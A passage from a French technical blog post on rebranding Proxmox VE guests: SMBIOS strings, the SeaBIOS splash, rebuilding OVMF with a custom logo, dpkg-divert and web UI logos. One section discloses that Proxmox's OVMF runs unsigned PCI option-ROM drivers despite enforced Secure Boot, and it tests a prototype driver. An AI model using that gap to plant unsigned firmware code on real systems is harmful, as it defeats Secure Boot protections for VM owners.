cores=$(get cores); sockets=$(get sockets); vcpu=$(( ${cores:-1} * ${sockets:-1} )) mem=$(get memory); mem=${mem#current=}; mem=${mem%%,*}; mem=${mem:-512} (( mem % 1024 )) \u0026amp;\u0026amp; size=\u0026#34;${mem}m\u0026#34; || size=\u0026#34;$(( mem / 1024 ))g\u0026#34; tag=$(get tags); tag=${tag%%;*} uuid=$(get smbios1 | grep -o \u0026#39;uuid=[0-9a-fA-F-]*\u0026#39; | cut -d= -f2 || true) uuid=${uuid:-$(cat /proc/sys/kernel/random/uuid)} s=\u0026#34;uuid=$uuid,base64=1,manufacturer=$(b \u0026#39;Example Cloud Ltd\u0026#39;),product=$(b \u0026#39;EC Compute Instance\u0026#39;)\u0026#34; s+=\u0026#34;,serial=$(b \u0026#34;$name\u0026#34;),sku=$(b \u0026#34;ec-${vcpu}c${size}\u0026#34;)\u0026#34; [ -n \u0026#34;$tag\u0026#34; ] \u0026amp;\u0026amp; s+=\u0026#34;,family=$(b \u0026#34;$tag\u0026#34;)\u0026#34; qm set \u0026#34;$id\u0026#34; --smbios1 \u0026#34;$s\u0026#34; Les valeurs par défaut sont celles de qemu-server, un cœur, un socket et 512 MiB16, si bien qu\u0026rsquo;une config qui les omet obtient quand même un SKU exact. Lancé contre la config de la table, avec qm remplacé par un script qui la servait, la ligne qu\u0026rsquo;il a écrite est arrivée à QEMU décodée comme qemu-server la décode, et le dmidecode de l\u0026rsquo;invité a relu web-01, ec-4c16g, production et l\u0026rsquo;UUID qu\u0026rsquo;il avait déjà. Une VM sans nom est refusée plutôt que de recevoir un numéro de série vide.\nLa place évidente pour ceci est un hookscript. C\u0026rsquo;est la mauvaise. qemu-server exécute le hook pre-start à l\u0026rsquo;intérieur du verrou de config qu\u0026rsquo;il a pris pour démarrer la VM, et construit la ligne de commande QEMU à partir de la config qu\u0026rsquo;il a chargée avant l\u0026rsquo;exécution du hook17. Un hook qui réécrit le numéro de série change le prochain démarrage, pas celui-ci.\nLancez-le donc depuis votre provisionnement, aux quatre moments où ses entrées changent : création, clonage, renommage et redimensionnement. Le clonage est celui qui mord. Un clone garde tous les champs de smbios1 sauf l\u0026rsquo;UUID9, alors sautez cette étape et chaque VM construite à partir de web-template annonce le nom du modèle comme numéro de série.\nLe logo de démarrage vit à deux endroits différents Le logo qu\u0026rsquo;affiche un invité dépend de son firmware. Les deux firmwares que livre Proxmox le prennent à des endroits complètement différents :\nSeaBIOS (bios: seabios, par défaut) OVMF (bios: ovmf, UEFI) D\u0026rsquo;où vient le logo un JPEG que QEMU transmet au démarrage un bitmap compilé dans le firmware Le fichier de Proxmox /usr/share/qemu-server/bootsplash.jpg, 640×480 Logo.bmp, 400×120, 8 bits, intégré à OVMF_CODE_4M*.fd Paquet propriétaire qemu-server pve-edk2-firmware-ovmf Le changer par VM args: -boot splash=… args qui pointe la VM vers un autre firmware Le changer sans rien recompiler oui non Atteint l\u0026rsquo;OS invité par la BGRT non oui SeaBIOS : un JPEG sur la ligne de commande qemu-server met la même option -boot sur chaque VM qu\u0026rsquo;il démarre, menu=on,strict=on,reboot-timeout=1000,splash=/usr/share/qemu-server/bootsplash.jpg18. La documentation de QEMU dit que l\u0026rsquo;image est affichée « when option splash=sp_name is given and menu=on, If firmware/BIOS supports them. Currently Seabios for X86 system support it »10. OVMF n\u0026rsquo;en prend rien d\u0026rsquo;autre que splash-time, qu\u0026rsquo;il utilise comme délai du menu de démarrage, et il n\u0026rsquo;y a aucune référence au fichier d\u0026rsquo;écran de démarrage nulle part dans OvmfPkg19.\nLe remplacer tient en une ligne dans la config de la VM :\nargs: -boot splash=/etc/pve/branding/splash.jpg Un second -boot ne se bat pas avec le premier. QEMU le fusionne de la même façon qu\u0026rsquo;il fusionne -smbios, la dernière valeur gagne, et avec deux fichiers d\u0026rsquo;écran donnés, la capture d\u0026rsquo;écran montrait le second. /etc/pve est la bonne place pour le fichier, parce que c\u0026rsquo;est le système de fichiers du cluster et que chaque nœud voit le même écran, et sa limite de 1 MiB par fichier est très loin d\u0026rsquo;un JPEG de 640×48020.\nL\u0026rsquo;image elle-même doit remplir trois conditions, et en rater une vous coûte le logo ou ses couleurs :\nCondition Pourquoi Ce qui se passe sinon JPEG ou BMP 24 bits QEMU vérifie le fichier avant le démarrage de la VM splash file … format not recognized; must be JPEG or 24 bit BMP JPEG baseline, chroma 4:2:0 le décodeur de SeaBIOS ne gère rien d\u0026rsquo;autre21 ERR_NOT_SEQUENTIAL_DCT ou ERR_NOT_YCBCR_221111, et un écran vide 640×480, comme celui de Proxmox SeaBIOS demande au BIOS VGA un mode exactement à la taille de l\u0026rsquo;image pas de mode correspondant, pas d\u0026rsquo;écran La plupart des outils d\u0026rsquo;image écrivent du baseline 4:2:0 par défaut, alors la façon habituelle de perdre le logo est l\u0026rsquo;une de ces options « enregistrer pour le web » qui active en douce l\u0026rsquo;encodage progressif, qui a l\u0026rsquo;air identique dans toutes vos visionneuses d\u0026rsquo;images et laisse SeaBIOS ne rien dessiner du tout.\nLe piège des couleurs Celui-là a coûté un après-midi. Le même JPEG, rendu par deux builds de SeaBIOS 1.17.0, sort en deux couleurs différentes :\nC\u0026rsquo;est dans le jpeg.c de SeaBIOS. Le code d\u0026rsquo;écriture en 24 bits par pixel a une branche little-endian qui met le bleu dans le premier octet de chaque pixel, et celui en 32 bits par pixel, PIC_32, n\u0026rsquo;a pas cette branche et y écrit le rouge à la place21. Sur un framebuffer little-endian, cela échange le rouge et le bleu. Le bleu sort doré, et l\u0026rsquo;orange sortirait bleu.\nLe code qui s\u0026rsquo;exécute dépend du mode vidéo que propose le BIOS VGA :\nFirmware Mode VBE pour 640×480 Bits par pixel Couleurs Le SeaBIOS 1.17.0 précompilé de QEMU en amont, tel que pve-qemu-kvm 11.0.3-4 le livre 0x111 16 justes, quantifiées à 65 536 Le build seabios 1.17.0-10 propre à Fedora 44 0x142 32 rouge et bleu échangés Les numéros de mode viennent de la table de SeaBIOS elle-même22, et la ligne Proxmox a été vérifiée contre les binaires mêmes du paquet : identiques octet pour octet au rel-1.17.0-0-gb52ca86e094d précompilé de QEMU. Sur Proxmox, vos couleurs sont donc justes, mais il n\u0026rsquo;y en a que 65 536, et un dégradé subtil fera des bandes. Et si votre logo apparaît un jour dans les mauvaises couleurs sur un autre hyperviseur, ce n\u0026rsquo;est pas votre JPEG.\nLe logo UEFI est compilé dans le firmware Les invités UEFI sont la moitié difficile, et sur un Proxmox moderne, ce sont la plupart des invités.\nIl n\u0026rsquo;y a pas d\u0026rsquo;option d\u0026rsquo;écran de démarrage à surcharger. Le logo est un bitmap à l\u0026rsquo;intérieur de l\u0026rsquo;image du firmware, et le build de Proxmox l\u0026rsquo;y met avec une seule ligne dans debian/rules :\ndebian/setup-build-stamp: cp -a debian/Logo.bmp MdeModulePkg/Logo/Logo.bmp Cela copie leur Logo.bmp de 400×120 en 8 bits par-dessus celui de TianoCore avant la compilation d\u0026rsquo;edk223. Le même fichier fixe le fournisseur du firmware comme constante de compilation, PcdFirmwareVendor=L\u0026quot;Proxmox distribution of EDK II\u0026quot;, et c\u0026rsquo;est de là que vient le fournisseur du type 0 dans la première table23.\nNouveau logo, nouveau firmware. Pour en obtenir un qui se comporte exactement comme celui de Proxmox, il faut le compiler exactement comme Proxmox le fait : leur arbre au tag qui correspond au paquet qu\u0026rsquo;ils livrent, leurs patchs, leurs options, et un seul bitmap échangé. pve-edk2-firmware 4.2026.08-1 fixe edk2 à 2970e56, qui est le tag amont edk2-stable20260823.\ngit clone https://git.proxmox.com/git/pve-edk2-firmware.git cd pve-edk2-firmware git checkout f37039e52d228a7844a90aa2aaf1e161ebd04fcd # 4.2026.08-1 git submodule update --init --recursive cd edk2 QUILT_PATCHES=../debian/patches quilt push -a cp /path/to/your/Logo.bmp MdeModulePkg/Logo/Logo.bmp . ./edksetup.sh \u0026amp;\u0026amp; make -C BaseTools F=\u0026#34;-DNETWORK_HTTP_BOOT_ENABLE=TRUE -DNETWORK_IP6_ENABLE=TRUE -DNETWORK_TLS_ENABLE -DSECURE_BOOT_ENABLE=TRUE -DPVSCSI_ENABLE=TRUE -DTPM2_ENABLE=TRUE --pcd PcdUninstallMemAttrProtocol=TRUE -DFD_SIZE_4MB\u0026#34; P=(--pcd \u0026#34;PcdFirmwareVendor=LExample Cloud Ltd\\\\0\u0026#34; --pcd \u0026#34;PcdFirmwareVersionString=L4.2026.08-1+ec1\\\\0\u0026#34;) build -a IA32 -a X64 -t GCC -p OvmfPkg/OvmfPkgIa32X64.dsc $F \u0026#34;${P[@]}\u0026#34; -b RELEASE cp Build/Ovmf3264/RELEASE_GCC/FV/OVMF_CODE.fd OVMF_CODE_4M.fd rm -rf Build/Ovmf3264 build -a IA32 -a X64 -t GCC -p OvmfPkg/OvmfPkgIa32X64.dsc $F -DSMM_REQUIRE=TRUE \u0026#34;${P[@]}\u0026#34; -b RELEASE cp Build/Ovmf3264/RELEASE_GCC/FV/OVMF_CODE.fd OVMF_CODE_4M.secboot.fd Les options sont reprises de debian/rules tel qu\u0026rsquo;il est à ce commit. Attention à la chaîne fournisseur : leur Makefile l\u0026rsquo;écrit entre guillemets doubles, le shell de make les retire, et edk2 la reçoit nue, c\u0026rsquo;est donc ainsi qu\u0026rsquo;elle est passée ici, et la mettre entre guillemets une seconde fois est une erreur de compilation. Gardez le bitmap en 400×120 et 8 bits comme le leur et rien d\u0026rsquo;autre ne bouge sur l\u0026rsquo;écran de démarrage.\nIl vous faut les deux images. qemu-server démarre toute VM Q35 avec un disque EFI 4M sur OVMF_CODE_4M.secboot.fd, le build qui exige SMM, et n\u0026rsquo;utilise le simple OVMF_CODE_4M.fd que pour i440fx24. Sur un Proxmox actuel, c\u0026rsquo;est l\u0026rsquo;image secboot que fait tourner presque chaque invité UEFI.\nCompilée ainsi, sans rien changer à l\u0026rsquo;arbre de Proxmox sauf le bitmap et deux chaînes, l\u0026rsquo;image SMM démarre comme ceci :\nEt la vue que l\u0026rsquo;invité a de son propre firmware change avec, sans une seule option -smbios sur la ligne de commande :\nLu dans l\u0026rsquo;invité Le 4.2026.08-1 de Proxmox Recompilé depuis le même arbre Fournisseur du firmware Proxmox distribution of EDK II Example Cloud Ltd Version du firmware 4.2026.08-1 4.2026.08-1+ec1 « UEFI is supported » présent présent Tables ACPI BGRT, WSMT et les autres le même ensemble Cela fait du fournisseur défini à la compilation la meilleure réponse pour les invités UEFI. C\u0026rsquo;est le propre type 0 d\u0026rsquo;OVMF, si bien que le bit UEFI reste en place sans que personne ait à se souvenir de uefi=on. La voie args pour le type 0 est pour les invités SeaBIOS, et pour qui ne recompile pas de firmware du tout.\nDeux façons de donner le nouveau firmware à une VM qemu-server code en dur l\u0026rsquo;endroit où il cherche le firmware : OVMF.pm contient une table de chemins sous /usr/share/pve-edk2-firmware/, indexée par type de machine et options Secure Boot, et aucune option, nulle part dans la config de la VM, l\u0026rsquo;interface ou l\u0026rsquo;API, ne choisit un autre fichier24. Il reste deux voies.\nCompiler un OVMF à votre marque, et deux façons de le donner à une VM L'arbre de Proxmox pve-edk2-firmware 4.2026.08-1 Votre marque Logo.bmp + chaîne fournisseur Même build, mêmes options OVMF_CODE_4M.fd + .secboot.fd A : détourner sur chaque nœud chaque VM UEFI le reçoit, aucune config de VM modifiée B : par VM, via args au choix, VM par VM, fichiers de Proxmox intacts apt full-upgrade le nouveau firmware de Proxmox arrive, le vôtre reste ancien Hook Post-Invoke versions différentes, recompilez avant le prochain démarrage Un seul build, deux voies d\u0026rsquo;entrée. Dans les deux cas, la prochaine mise à jour installe le nouveau firmware de Proxmox à côté du vôtre et laisse le vôtre tel quel, et c\u0026rsquo;est pourquoi le hook du bas existe. Voie A : le détourner sur chaque nœud. Dites à dpkg que les deux images de code de Proxmox vont désormais ailleurs, et mettez les vôtres à leur place :\nD=/usr/share/pve-edk2-firmware for f in OVMF_CODE_4M.fd OVMF_CODE_4M.secboot.fd; do dpkg-divert --package example-branding --add --rename --divert \u0026#34;$D/$f.distrib\u0026#34; \u0026#34;$D/$f\u0026#34; install -m 0644 \u0026#34;/root/branding/$f\u0026#34; \u0026#34;$D/$f\u0026#34; done Dès son prochain démarrage, chaque VM UEFI du nœud démarre sur votre firmware. Aucun changement de config de VM.\nVoie B : y pointer les VM choisies. Gardez les images dans votre propre répertoire et remplacez le firmware une VM à la fois. Depuis le passage à -blockdev, qemu-server attache l\u0026rsquo;image de code comme un nœud de bloc appelé pflash0 et le nomme dans -machine24, et QEMU fusionne un second -machine de la même façon qu\u0026rsquo;il fusionne -boot, si bien que args peut ajouter son propre nœud et y pointer pflash0 :\nargs: -blockdev driver=raw,node-name=brandcode,read-only=on,file.driver=file,file.filename=/usr/local/share/example-branding/OVMF_CODE_4M.secboot.fd -machine pflash0=brandcode Cela a été testé par le chemin le plus long. Le firmware secboot de Proxmox a été attaché comme pflash0 exactement comme qemu-server le fait, avec SMM activé, puis cette ligne args a été ajoutée après, et l\u0026rsquo;invité a démarré l\u0026rsquo;image à votre marque avec à la fois le logo et la chaîne fournisseur, et c\u0026rsquo;est de là que vient la capture d\u0026rsquo;écran ci-dessus.\nVoie A, détournement Voie B, args par VM Quelles VM l\u0026rsquo;obtiennent chaque VM UEFI du nœud seulement celles où vous le définissez Les fichiers de Proxmox déplacés en .distrib intacts Config de la VM inchangée une ligne args, réservée à root Le type de machine doit correspondre réglé, les deux images sont détournées à vous de voir : image secboot pour Q35 Annuler dpkg-divert --remove --rename supprimer la ligne Migration le nœud cible doit être détourné aussi le nœud cible doit avoir le fichier L\u0026rsquo;image de code fait environ 3,5 Mo, face à une limite de 1 MiB par fichier dans pmxcfs20. De ce fait, elle ne peut pas aller dans /etc/pve, et quelle que soit la voie, elle doit être déposée sur chaque nœud. Migrez une VM vers un nœud qui ne l\u0026rsquo;a pas et vous obtenez l\u0026rsquo;un de deux résultats, selon la voie : le firmware et le logo de Proxmox de retour avec la voie A, ou avec la voie B une VM qui ne démarre pas du tout parce que QEMU ne peut pas ouvrir un fichier qui n\u0026rsquo;est pas là.\nLa mise à jour qui vous laisse derrière Un détournement est le bon outil pour un logo. Le firmware, c\u0026rsquo;est autre chose.\nUn détournement veut dire que les mises à jour de Proxmox n\u0026rsquo;atteignent plus le fichier. C\u0026rsquo;est exactement ce que vous avez demandé. C\u0026rsquo;est aussi exactement ce qui empêche les correctifs de sécurité d\u0026rsquo;edk2 d\u0026rsquo;atteindre vos invités : le changelog de Proxmox pour 4.2026.08-1 commence par « Besides many bug and security fixes » et liste ensuite un correctif pour CVE-2024-1374525, et un build à votre marque de la version précédente n\u0026rsquo;en a rien. Rien ne vous le dit.\nCela a été testé, pas supposé. Dans un conteneur Debian trixie avec le dépôt de Proxmox, pve-edk2-firmware-ovmf 4.2025.05-3 a été installé, les deux images de code ont été détournées, et le paquet a été mis à jour en 4.2026.08-1 :\nAprès la mise à jour Résultat dpkg-query -W pve-edk2-firmware-ovmf 4.2026.08-1 La nouvelle image de Proxmox installée sous OVMF_CODE_4M.fd.distrib, empreinte changée L\u0026rsquo;image à votre marque inchangée, toujours compilée depuis 4.2025.05-3 Quoi que ce soit à la console à ce sujet rien, jusqu\u0026rsquo;au hook ci-dessous Ajoutez donc un hook. apt exécute une liste de commandes DPkg::Post-Invoke après chaque passage de dpkg26. Notez la version de Proxmox depuis laquelle vous avez compilé, et comparez après chaque passage :\ncat \u0026gt; /usr/local/sbin/example-branding-check \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; #!/bin/sh built=$(cat /usr/local/share/example-branding/ovmf.built-from 2\u0026gt;/dev/null) now=$(dpkg-query -W -f \u0026#39;${Version}\u0026#39; pve-edk2-firmware-ovmf 2\u0026gt;/dev/null) [ \u0026#34;$built\u0026#34; = \u0026#34;$now\u0026#34; ] \u0026amp;\u0026amp; exit 0 echo \u0026#34;W: branded OVMF was built from pve-edk2-firmware-ovmf $built, Proxmox now ships $now.\u0026#34; \u0026gt;\u0026amp;2 echo \u0026#34;W: guests still boot the old firmware. Rebuild before the next VM restart.\u0026#34; \u0026gt;\u0026amp;2 exit 0 EOF chmod +x /usr/local/sbin/example-branding-check echo \u0026#39;DPkg::Post-Invoke { \u0026#34;/usr/local/sbin/example-branding-check\u0026#34;; };\u0026#39; \\ \u0026gt; /etc/apt/apt.conf.d/80example-branding Sur cette même mise à jour, il a affiché :\nW: branded OVMF was built from pve-edk2-firmware-ovmf 4.2025.05-3, Proxmox now ships 4.2026.08-1. W: guests still boot the old firmware. Rebuild before the next VM restart. Il sort avec 0 délibérément. apt s\u0026rsquo;interrompt si une commande Post-Invoke échoue26, et une vérification de marque n\u0026rsquo;est pas une raison de laisser un nœud à moitié mis à jour. Un avertissement bien visible suffit.\nEncore une chose. Les redémarrages. Un invité ne prend un nouveau firmware que quand son processus QEMU redémarre, si bien qu\u0026rsquo;une recompilation demande un arrêt et un démarrage depuis Proxmox plutôt qu\u0026rsquo;un redémarrage depuis l\u0026rsquo;invité, et c\u0026rsquo;est exactement ainsi que les mises à jour de firmware de Proxmox atteignent aussi une VM en marche. Elles n\u0026rsquo;ont simplement pas besoin que vous pensiez d\u0026rsquo;abord à recompiler.\nOu laisser le firmware de Proxmox tranquille Chaque voie vers le logo jusqu\u0026rsquo;ici change le firmware, et la section précédente en est la facture. Il en existe une qui ne le change pas, et elle a été prototypée pour ce billet.\nUn périphérique PCI dans QEMU peut porter une ROM d\u0026rsquo;option, n\u0026rsquo;importe quel fichier que vous nommez avec romfile=27, et OVMF exécute le pilote EFI qu\u0026rsquo;il y trouve. Le build de Proxmox l\u0026rsquo;exécute qu\u0026rsquo;il soit signé ou non : OVMF fixe PcdOptionRomImageVerificationPolicy à 0x00, toujours exécuter28. OVMF dessine son propre logo tard dans la sélection du périphérique de démarrage29 et ne construit la BGRT qu\u0026rsquo;à ReadyToBoot, juste avant de passer la main à un chargeur de démarrage. Et le pilote BGRT d\u0026rsquo;edk2 accepte une image de remplacement par EDKII_BOOT_LOGO2_PROTOCOL, en reconstruisant la table à ReadyToBoot chaque fois que l\u0026rsquo;image a changé30.\nC\u0026rsquo;est tout ce qu\u0026rsquo;il faut. Le pilote attend ReadyToBoot à TPL_NOTIFY, qui passe avant le gestionnaire TPL_CALLBACK du pilote BGRT, efface l\u0026rsquo;écran, dessine son logo et transmet la même image. Compilé, c\u0026rsquo;est un seul fichier de 8 Ko, attaché avec une seule ligne :\nargs: -device pci-testdev,romfile=/etc/pve/branding/brandrom.rom À 8 Ko, il tient largement sous la limite de 1 MiB de pmxcfs20, si bien que contrairement à une image de firmware de 3,5 Mo, il peut vivre dans /etc/pve et suivre la VM sur chaque nœud.\nIl a été testé contre le firmware de Proxmox lui-même, tout droit sorti de pve-edk2-firmware-ovmf 4.2026.08-1 : OVMF_CODE_4M.secboot.fd avec les clés de Microsoft pré-enrôlées dans OVMF_VARS_4M.ms.fd, sur Q35 avec SMM, et démarré par le shim signé de Fedora pour que Secure Boot soit actif et appliqué :\nLu depuis l\u0026rsquo;invité Sans la ROM Avec la ROM Variable SecureBoot 1 1 À l\u0026rsquo;écran le logo de Proxmox celui de Proxmox pendant environ 250 ms, puis le vôtre Image BGRT, 400×120 en 440,340 celle de Proxmox, SHA-256 be5afe4b… celle de la ROM, SHA-256 6c494576… Fichiers du firmware modifiés aucun aucun La dernière ligne est le but. Le firmware de Proxmox est intact, si bien que leur prochaine version de sécurité atteint vos invités au prochain redémarrage, et rien de la section précédente ne s\u0026rsquo;applique.\nCe n\u0026rsquo;est pas gratuit :\nCoût Pourquoi Le logo de Proxmox s\u0026rsquo;affiche environ un quart de seconde OVMF le dessine avant qu\u0026rsquo;un pilote de ROM d\u0026rsquo;option ait l\u0026rsquo;écran ; seule une recompilation l\u0026rsquo;évite L\u0026rsquo;invité voit un périphérique PCI de plus, sans pilote la ROM doit être portée par un périphérique, et pci-testdev est celui de QEMU qui ne fait rien Le type 0 dit toujours Proxmox la chaîne fournisseur est compilée dedans ; définissez-la par args avec uefi=on, comme plus haut Réservé à root c\u0026rsquo;est une ligne args Et la découverte qui se cache dessous mérite d\u0026rsquo;être dite clairement. Un pilote non signé a tourné dans le firmware d\u0026rsquo;un invité avec les clés de Microsoft enrôlées et Secure Boot appliqué, parce que l\u0026rsquo;OVMF de Proxmox ne vérifie pas les ROM d\u0026rsquo;option. Ici, c\u0026rsquo;est utile. Cela veut aussi dire que sur ce firmware, Secure Boot vérifie les chargeurs de démarrage, pas ce que la config matérielle de la VM y attache, et comme seul root écrit args, c\u0026rsquo;est une question de qui détient root sur vos nœuds.\nC\u0026rsquo;est un prototype. Il a tourné sur QEMU 10.2.2 avec le firmware de Proxmox, pas encore sur un nœud Proxmox, et ce qui suit est du code source, pas un produit :\ngithub.com/damo2929/RebrandPCIRom : le pilote en ROM d\u0026rsquo;option, le convertisseur de logo et le build en conteneur.\nL\u0026rsquo;interface web, c\u0026rsquo;est deux paquets Le logo en haut à gauche de l\u0026rsquo;interface web n\u0026rsquo;est pas dans pve-manager. Workspace.js demande un composant proxmoxLogoSvg avec le préfixe pwt, et celui-ci vit dans proxmox-widget-toolkit, que partagent le Backup Server et le Mail Gateway31. Seules les icônes d\u0026rsquo;onglet sont dans pve-manager :\nQuoi Fichier Paquet Logo de l\u0026rsquo;en-tête, dessiné en 200×35 /usr/share/javascript/proxmox-widget-toolkit/images/proxmox_logo.svg proxmox-widget-toolkit Icône d\u0026rsquo;onglet du navigateur /usr/share/pve-manager/images/favicon.ico pve-manager Icône 128×128, aussi l\u0026rsquo;icône tactile /usr/share/pve-manager/images/logo-128.png pve-manager Ce sont trois fichiers ordinaires, c\u0026rsquo;est donc un travail pour dpkg-divert, et ici le coût de la section précédente ne s\u0026rsquo;applique pas du tout, parce qu\u0026rsquo;un logo n\u0026rsquo;a aucun correctif de sécurité à manquer et que l\u0026rsquo;invité de personne n\u0026rsquo;est moins en sécurité parce qu\u0026rsquo;un nœud sert encore la favicon du mois dernier.\ndivert() { dpkg-divert --package example-branding --add --rename --divert \u0026#34;$1.distrib\u0026#34; \u0026#34;$1\u0026#34; install -m 0644 \u0026#34;$2\u0026#34; \u0026#34;$1\u0026#34; } divert /usr/share/javascript/proxmox-widget-toolkit/images/proxmox_logo.svg /root/branding/logo.svg divert /usr/share/pve-manager/images/favicon.ico /root/branding/favicon.ico divert /usr/share/pve-manager/images/logo-128.png /root/branding/logo-128.png Testé dans le même conteneur, contre de vrais paquets :\nÉtape Résultat Détournement sur proxmox-widget-toolkit 5.2.9, installation de votre SVG le SVG de Proxmox renommé en proxmox_logo.svg.distrib Mise à jour en 5.2.10 votre SVG toujours en place, la copie 5.2.10 de Proxmox dans .distrib dpkg --verify proxmox-widget-toolkit aucune plainte, dpkg connaît le détournement apt-get install --reinstall proxmox-widget-toolkit votre SVG toujours en place dpkg-divert --remove --rename l\u0026rsquo;original de Proxmox de retour, octet pour octet Deux choses restent à Proxmox. L\u0026rsquo;image de l\u0026rsquo;en-tête est dessinée dans une boîte fixe de 200×35, alors dessinez votre SVG à ce format ou il sera écrasé. Et le texte alt dit Proxmox et l\u0026rsquo;image pointe vers https://www.proxmox.com, les deux écrits dans le composant JavaScript plutôt que dans un fichier que vous pouvez détourner31. Les changer veut dire patcher un bundle minifié qui casse à chaque mise à jour. Ça n\u0026rsquo;en vaut pas la peine pour un texte alternatif.\nCe que la licence et la marque de Proxmox vous demandent Proxmox VE est sous licence AGPL version 332, et la section 13 de cette licence est la clause réseau : « if you modify the Program, your modified version must prominently offer all users interacting with it remotely through a computer network … an opportunity to receive the Corresponding Source of your version »33. Remplacer trois images, est-ce modifier le Programme ? C\u0026rsquo;est une question pour un juriste. La réponse bon marché est de mettre vos images et le script de détournement quelque part en public et d\u0026rsquo;y faire un lien depuis la page de connexion. Ça ne coûte rien et ça règle la question.\nCôté marque, c\u0026rsquo;est plus clair. Le kit média de Proxmox dit « Don\u0026rsquo;t alter the logo or incorporate the logo or symbol into your logo »34. Remplacez donc le leur purement et simplement par le vôtre, jamais par une version recolorée ou retravaillée du leur, et gardez Proxmox hors du nom de votre produit.\nVotre nom dessus veut dire votre maintenance Mettre sa marque sur une VM coûte peu. Une poignée de chaînes SMBIOS, un JPEG, un bitmap et trois images dans une interface web : un après-midi de travail, passé surtout à découvrir où les choses se trouvent.\nLa garder, c\u0026rsquo;est le vrai travail. C\u0026rsquo;est aussi la partie qu\u0026rsquo;on saute.\nLes chaînes SMBIOS et l\u0026rsquo;écran de démarrage se gardent tout seuls, parce qu\u0026rsquo;ils vivent dans une config qu\u0026rsquo;aucun paquet ne touchera jamais, et le logo de l\u0026rsquo;interface web se garde tout seul parce que dpkg a été mis au courant. Le firmware, non. Le jour où vous mettez votre logo dans une image de firmware, vous reprenez une partie du processus de publication de quelqu\u0026rsquo;un d\u0026rsquo;autre : Proxmox compile, teste et livre de nouveaux firmwares avec des correctifs de sécurité dedans, que leurs clients reçoivent à la prochaine mise à jour, et que les vôtres reçoivent quand vous trouvez le temps de recompiler.\nCet échange est acceptable s\u0026rsquo;il est fait en connaissance de cause. Un hébergeur dont les invités démarrent sur un firmware en retard de deux versions parce que le logo comptait plus que le changelog n\u0026rsquo;a pas construit un produit. Il a construit un autocollant.\nSi votre nom est sur l\u0026rsquo;écran de démarrage, le firmware derrière est à vous de le tenir à jour, quel qu\u0026rsquo;en soit l\u0026rsquo;auteur. Personne ne vérifiera. C\u0026rsquo;est exactement pour ça qu\u0026rsquo;il faut le faire.\nUEFI Forum, ACPI Specification 6.6, §5.2.23 Boot Graphics Resource Table — « The Boot Graphics Resource Table (BGRT) is an optional table that provides a mechanism to indicate that an image was drawn on the screen during boot ». Copie archivée ; la page en ligne renvoie 403 aux requêtes automatisées.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn, Boot screen components — « This is the standard interface that Windows uses to access the logo. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFedora Project, Changes/FlickerFreeBoot — « a new plymouth theme which incorporates the firmware\u0026rsquo;s bootsplash image » ; le plymouth.spec de Fedora fait de bgrt le thème par défaut.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDebian, dpkg-divert(1), trixie — « File diversions are a way of forcing dpkg(1) not to install a file into its location, but to a diverted location. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDMTF, DSP0134 System Management BIOS Reference Specification 3.10.0 — type 1 System Information, type 2 carte mère, type 3 « the system\u0026rsquo;s mechanical enclosure(s) », type 11 « free-form strings defined by the OEM ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nProxmox VE, qm.conf(5) — smbios1 : « Specify SMBIOS type 1 fields » ; args : « Arbitrary arguments passed to kvm … this option is for experts only. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer.pm, the smbios1 format and command-line builder — chaque champ sauf uuid a le motif [A-Za-z0-9+\\/]+={0,2} ; les valeurs sont décodées quand base64 est défini.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npve-manager, www/manager6/Parser.js, printQemuSmbios1 — « smbios values can be arbitrary, so encode and mark config as such ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/API2/Qemu.pm, clone — « auto generate a new uuid », les autres champs de smbios1 sont conservés.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nQEMU, System Emulation, Invocation — les champs de -smbios par type ; -acpitable « For file=, take whole ACPI table from the specified files, including all ACPI headers » ; -boot « Currently Seabios for X86 system support it. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nedk2-stable202608, OvmfPkg/SmbiosPlatformDxe/SmbiosPlatformDxe.c — OVMF n\u0026rsquo;ajoute son propre type 0 que si NeedSmbiosType0 est encore vrai après le parcours des tables de QEMU.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer.pm, custom args — args est découpé et ajouté à la fin de la ligne de commande.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/API2/Qemu.pm, config permission checks — smbios1 est une option de type matériel qui exige VM.Config.HWType ; le cas par défaut « catches args, lock, etc. » et échoue avec « only root can set ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer.pm, the name option — format =\u0026gt; 'dns-name'.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer.pm, vmgenid — « notify the guest operating system when the virtual machine is executed with a different configuration (e.g. snapshot execution or creation from a template) ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer/Memory.pm — mémoire default =\u0026gt; 512 ; cores et sockets valent 1 par défaut dans QemuServer.pm.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer.pm, vm_start — lock_config à la ligne 5457, exec_hookscript($conf, $vmid, 'pre-start', 1) à 5581, et config_to_command à 5634 avec le même $conf, non rechargé entre les deux.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer.pm, -boot — menu=on,strict=on,reboot-timeout=1000,splash=/usr/share/qemu-server/bootsplash.jpg.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nedk2-stable202608, OvmfPkg/Library/QemuBootOrderLib/QemuBootOrderLib.c — OVMF lit etc/boot-menu-wait, la valeur de splash-time, et rien d\u0026rsquo;autre de -boot.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npve-cluster, src/pmxcfs/memdb.h — #define MEMDB_MAX_FILE_SIZE (1024 * 1024) // 